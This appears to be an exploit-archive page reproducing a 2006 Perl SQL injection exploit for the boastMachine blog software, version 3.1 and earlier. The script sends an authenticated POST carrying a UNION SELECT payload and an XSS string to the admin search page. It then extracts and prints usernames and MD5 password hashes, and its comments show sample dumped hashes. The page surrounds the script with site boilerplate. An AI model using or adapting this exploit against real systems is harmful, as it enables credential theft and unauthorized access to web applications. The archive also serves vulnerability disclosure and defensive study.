boastMachine <= 3.1 SQL Injection Exploit

2006.07.25
Credit: DarkFig
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89

#!/usr/bin/perl # # VulnScr: boastMachine version 3.1 and prior # Web: http://boastology.com/ # # Date: Sun July 16 10:43 PM 2006 # Credits: DarkFig (gmdarkfig (at) gmail (dot) com [email concealed]) # Vuln: SQL Injection, Cross Site Scripting, Cross Site Request Forgery, Predictable Backup Filename # Advisory: http://www.acid-root.new.fr/advisories/boastmachine.txt (French) # Required: Admin cookie (user+hash) (You can have it with the XSS) # # +-------------------------------------------+ # | boastMachine <= 3.1 SQL Injection Exploit | # +-------------------------------------------+ # root::95f44e0321ed96ba9d2961a54daab05e # darkfig::547bbdedb2a1df8a1422b58e1eaa2111 # dapowa::0b76dc1c5bb6c0267aa89fcea5f95bb6 # use IO::Socket; print STDERR "+-------------------------------------------+n"; print STDERR "| boastMachine <= 3.1 SQL Injection Exploit |n"; print STDERR "+-------------------------------------------+n"; if(!$ARGV[3]) { print STDERR "| Usage: <host> <path> <admin> <md5hash> ---|n"; print STDERR "+-------------------------------------------+n"; exit(); } my($host,$path,$admin,$hash) = ($ARGV[0], $ARGV[1], $ARGV[2], $ARGV[3]); my $sock = IO::Socket::INET->new( PeerAddr => $host, PeerPort => 80, Proto => 'tcp', ); my $data = "do=search&action=search&blog=1' UNION SELECT user_pass,user_login FROM bmc_users%23&cat_list=<script>alert(666)</script>"; my $leng = length($data); print $sock "POST $path"."bmc/admin.php HTTP/1.1rn"; print $sock "Host: $hostrn"; print $sock "Referer: http://localhost/bmachine/bmc/admin.php?action=search&blog=rn"; print $sock "Cookie: BMC_user=${admin}; BMC_user_password=${hash}rn"; print $sock "Content-Type: application/x-www-form-urlencodedrn"; print $sock "Content-Length: $lengrnn"; print $sock "$datarnn"; while($answ = <$sock>) { if($answ =~ /<option value="(S*)">(S*)</option>/) { if(length($1) eq 32) { print STDERR $2."::".$1."n"; }} if($answ =~ /<option value="title">/) { last; } } $sock->close(); exit();


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top